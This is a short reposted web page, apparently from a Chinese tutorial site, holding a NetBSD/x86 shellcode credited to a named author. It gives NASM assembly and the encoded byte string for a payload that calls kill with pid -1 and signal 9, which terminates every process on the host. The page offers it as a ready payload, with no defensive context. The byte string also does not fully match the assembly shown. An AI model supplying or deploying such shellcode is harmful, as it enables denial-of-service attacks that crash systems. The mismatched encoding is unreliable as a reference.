杀掉进程的shellcode(netbsd/x86)

2009-06-19 11:16:48  来源:网页教学网 

Webjx.Com网页提示:杀掉进程的shellcode(netbsd/x86)

  /*

  netbsd/x86 kill all processes shellcode

  author Teo Manojlovic

  contact teo.manojlovic@skole.hr

  this shellcode is using syscall number 37 or 0x25

  37 STD { int sys_kill(int pid, int signum); }

  here is assembler code using intel syntaxe and NASM

  --------------begin-----------

  section .note.netbsd.ident

  dd0x07,0x04,0x01

  db"NetBSD",0x00,0x00

  dd200000000

  section .data

  section .text

  global _start

  _start:

  xor eax, eax

  push 0x09

  mov eax, -1

  push eax

  xor eax,eax

  mov al, 37

  push eax

  int 0x80

  -------------------------end------------

  if we dissasemble this code wi will get shellcode

  "\x66\x31\xc0\x68\x09\x00\x66\xb8\xff\xff\xff\xff\x66\x50\x66\x31\xc0\xb0\x25\x66\x50\xcd\x80"

  */

更多

推荐文章